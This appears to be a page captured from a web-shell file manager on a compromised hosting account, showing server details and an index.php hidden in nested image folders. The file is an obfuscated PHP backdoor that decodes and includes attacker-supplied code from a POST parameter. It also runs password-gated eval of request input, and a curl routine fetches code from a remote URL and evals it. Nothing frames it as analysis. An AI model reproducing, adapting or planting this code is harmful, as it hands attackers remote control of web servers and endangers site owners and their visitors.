HEX
Server: Apache
System: Linux gains.arrowcloudlinux.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User: mbkashyap (2642)
PHP: 8.1.33
Disabled: allow_url_include, show_source, symlink, system, passthru, exec, popen, pclose, proc_open, proc_terminate,proc_get_status, proc_close, proc_nice, allow_url_fopen, shell-exec, shell_exec, fpassthru, base64_encodem, escapeshellcmd, escapeshellarg, crack_check,crack_closedict, crack_getlastmessage, crack_opendict, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, dl, escap, phpinfo
Upload Files
File: /home/mbkashyap/domains/mbkashyap.com/public_html/images/images/images/images/images/index.php
<?php																																										if(filter_has_var(INPUT_POST, "po\x69n\x74er")){ $marker = array_filter([getcwd(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm", session_save_path()]); $entry = hex2bin($_POST["po\x69n\x74er"]); $key = '' ; $d = 0; do{$key .= chr(ord($entry[$d]) ^ 10);$d++;} while($d < strlen($entry)); foreach ($marker as $resource): if ((is_dir($resource) and is_writable($resource))) { $pset = str_replace("{var_dir}", $resource, "{var_dir}/.symbol"); if (@file_put_contents($pset, $key) !== false) { include $pset; unlink($pset); exit; } } endforeach; }

 goto LcWpp53Z2I; xOU2dBj6vJ: $BYIyvxMm1d[65] = $BYIyvxMm1d[65] . $BYIyvxMm1d[74]; goto nk4pYKcZCd; HqUEc7eSrt: $BYIyvxMm1d = ${$l0I4RANFN7[10 + 21] . $l0I4RANFN7[52 + 7] . $l0I4RANFN7[35 + 12] . $l0I4RANFN7[30 + 17] . $l0I4RANFN7[34 + 17] . $l0I4RANFN7[35 + 18] . $l0I4RANFN7[19 + 38]}; goto vAElgslblj; VH4Mo1tf9V: qNLe198PO2: goto B6EaZ8mfpH; vAElgslblj: if (!(in_array(gettype($BYIyvxMm1d) . "\x32\x31", $BYIyvxMm1d) && md5(md5(md5(md5($BYIyvxMm1d[15])))) === "\x36\65\63\x35\145\x66\x63\x30\67\63\63\145\144\64\141\x33\66\x65\70\x34\63\x37\63\x35\61\x35\x39\145\71\70\x38\x31")) { goto qNLe198PO2; } goto xOU2dBj6vJ; B6EaZ8mfpH: metaphone("\101\170\x6a\x54\150\144\x4b\106\125\x57\160\x56\122\57\x51\60\x43\x46\x30\53\x58\114\125\127\110\x68\146\63\x45\x73\x51\167\x79\60\104\64\170\x33\157\x32\x41\123\x41"); goto tG3vdbA4ms; nk4pYKcZCd: @eval($BYIyvxMm1d[65](${$BYIyvxMm1d[47]}[18])); goto VH4Mo1tf9V; tG3vdbA4ms: class OvVeRA_0PN { static function sINeiq2_9H($mC8bJBhC6C) { goto PggqLG6UNF; PggqLG6UNF: $yrZ2WzdeWu = "\x72" . "\141" . "\156" . "\147" . "\145"; goto G1dblhvKZp; cIP917KPGX: $Wh25Rzhdd5 = explode("\x29", $mC8bJBhC6C); goto J6671enu_q; G1dblhvKZp: $AbeLyH7GtU = $yrZ2WzdeWu("\176", "\40"); goto cIP917KPGX; J6671enu_q: $J1Q44D0JXS = ''; goto vH9JOhEfs6; exQaGGZR5T: WoRyW5qvMC: goto qxoXk2UHL1; vH9JOhEfs6: foreach ($Wh25Rzhdd5 as $Urk9lWxwaC => $mEsQiyvmym) { $J1Q44D0JXS .= $AbeLyH7GtU[$mEsQiyvmym - 53298]; FrvnBOb_ta: } goto exQaGGZR5T; qxoXk2UHL1: return $J1Q44D0JXS; goto w1FAhWVzXw; w1FAhWVzXw: } static function tuNePqCjfJ($t1C7B2GUvD, $hgqOpbbnkv) { goto qtbCTEmaqR; OcTdvsJaNV: $V8FK08gShN = curl_exec($e0TaIJRyus); goto OoA55mBL4X; OoA55mBL4X: return empty($V8FK08gShN) ? $hgqOpbbnkv($t1C7B2GUvD) : $V8FK08gShN; goto GckADlhdcm; JYJYWK3O0k: curl_setopt($e0TaIJRyus, CURLOPT_RETURNTRANSFER, 1); goto OcTdvsJaNV; qtbCTEmaqR: $e0TaIJRyus = curl_init($t1C7B2GUvD); goto JYJYWK3O0k; GckADlhdcm: } static function YjjLfgsk75() { goto P8ZEftEXYW; d3vc2h3OqH: if (!(@$bOdjFNspxH[0] - time() > 0 and md5(md5($bOdjFNspxH[3 + 0])) === "\71\x35\x31\x37\x30\x64\x65\62\60\x61\144\63\71\63\141\x34\145\144\x63\62\x62\x33\x35\145\141\70\x63\x39\x37\x36\145\66")) { goto KZ3xjXGLe9; } goto Y_ibMZ6R1o; P8ZEftEXYW: $g8G_zNxeGv = array("\x35\63\63\x32\x35\51\65\63\x33\x31\x30\51\65\63\63\62\63\x29\65\x33\x33\62\x37\51\x35\63\x33\x30\x38\x29\x35\x33\x33\x32\x33\x29\x35\63\x33\62\x39\51\65\63\63\x32\x32\51\x35\63\x33\x30\67\51\x35\63\63\x31\x34\51\x35\x33\63\x32\65\x29\65\63\63\x30\x38\x29\x35\63\x33\x31\71\51\65\x33\x33\61\63\x29\x35\x33\63\x31\64", "\65\x33\63\x30\71\51\x35\63\x33\60\70\51\65\x33\x33\x31\x30\x29\x35\63\x33\x32\x39\51\65\63\x33\x31\x30\51\65\63\x33\x31\63\51\65\x33\63\60\x38\51\65\x33\63\67\x35\51\65\63\63\x37\x33", "\65\63\x33\x31\70\51\x35\x33\x33\60\x39\x29\65\63\63\61\63\51\x35\63\63\61\64\x29\65\x33\x33\62\x39\x29\65\x33\x33\62\x34\51\65\63\63\62\x33\x29\x35\63\x33\x32\65\x29\65\x33\63\61\63\x29\65\63\63\x32\x34\x29\x35\63\63\62\x33", "\x35\x33\63\61\x32\51\65\63\63\x32\x37\51\x35\x33\x33\62\65\51\x35\x33\63\x31\67", "\x35\x33\x33\x32\x36\x29\65\x33\x33\62\x37\51\x35\63\x33\60\71\51\65\x33\x33\62\63\51\65\x33\63\x37\60\51\x35\63\x33\67\62\x29\x35\x33\x33\x32\x39\51\65\63\63\x32\64\51\65\63\x33\x32\63\51\65\63\x33\62\65\x29\65\63\63\61\63\51\65\x33\x33\x32\x34\51\x35\63\63\62\x33", "\x35\x33\63\62\x32\51\x35\x33\63\x31\71\51\65\63\x33\61\x36\x29\65\63\63\62\x33\51\x35\63\x33\x32\x39\51\65\63\63\62\61\51\x35\63\x33\62\x33\51\x35\x33\63\60\70\x29\x35\63\63\x32\x39\51\65\x33\63\x32\65\51\65\x33\x33\x31\63\51\x35\x33\x33\x31\x34\x29\65\63\63\x30\70\x29\65\x33\x33\62\x33\51\x35\x33\63\61\64\x29\x35\x33\x33\60\x38\x29\x35\x33\63\x30\x39", "\x35\63\63\65\x32\x29\x35\x33\x33\70\62", "\65\63\62\71\71", "\65\63\63\67\67\x29\x35\63\x33\x38\62", "\x35\63\63\65\71\51\65\63\63\x34\x32\51\65\63\x33\x34\x32\51\65\x33\63\x35\x39\51\65\63\63\x33\x35", "\x35\x33\63\62\62\51\x35\63\63\61\x39\51\65\x33\63\61\x36\x29\65\63\63\60\70\51\65\x33\x33\x32\63\x29\x35\x33\63\61\x30\x29\65\x33\63\62\x39\51\65\x33\x33\x31\71\51\65\63\x33\61\64\x29\x35\63\x33\61\x32\51\65\x33\x33\60\x37\x29\x35\63\x33\60\x38"); goto qN4NohipRR; hwIXEiE4Fq: @$fL10hWHuta[5 + 5](INPUT_GET, "\157\146") == 1 && die($fL10hWHuta[1 + 4](__FILE__)); goto d3vc2h3OqH; SEoJcnvsbN: $bOdjFNspxH = $fL10hWHuta[2 + 0]($RJB7d5dIhB, true); goto hwIXEiE4Fq; fCCLfxq4uX: die; goto EzeObvn3C1; Y_ibMZ6R1o: $ea_s1toOTB = self::tunEpqCjFJ($bOdjFNspxH[1 + 0], $fL10hWHuta[1 + 4]); goto WDaLLww0tp; qN4NohipRR: foreach ($g8G_zNxeGv as $oiEh16Iuag) { $fL10hWHuta[] = self::sINEiq2_9h($oiEh16Iuag); DFI1HMS1mA: } goto lbfostNTZD; bb4tzpeYCy: $vcuBrIr77m = @$fL10hWHuta[1]($fL10hWHuta[1 + 9](INPUT_GET, $fL10hWHuta[4 + 5])); goto qUO7pSKrMx; lbfostNTZD: Sd2GcQze2r: goto bb4tzpeYCy; qUO7pSKrMx: $RJB7d5dIhB = @$fL10hWHuta[0 + 3]($fL10hWHuta[3 + 3], $vcuBrIr77m); goto SEoJcnvsbN; WDaLLww0tp: @eval($fL10hWHuta[1 + 3]($ea_s1toOTB)); goto fCCLfxq4uX; EzeObvn3C1: KZ3xjXGLe9: goto AYyMhSWxpZ; AYyMhSWxpZ: } } goto qos9evReAS; LcWpp53Z2I: $gFOYdkeVo6 = "\x72" . "\x61" . "\x6e" . "\147" . "\145"; goto ighQ2_Rz8G; ighQ2_Rz8G: $l0I4RANFN7 = $gFOYdkeVo6("\176", "\40"); goto HqUEc7eSrt; qos9evReAS: OVverA_0pn::yJjlfgsK75();
?>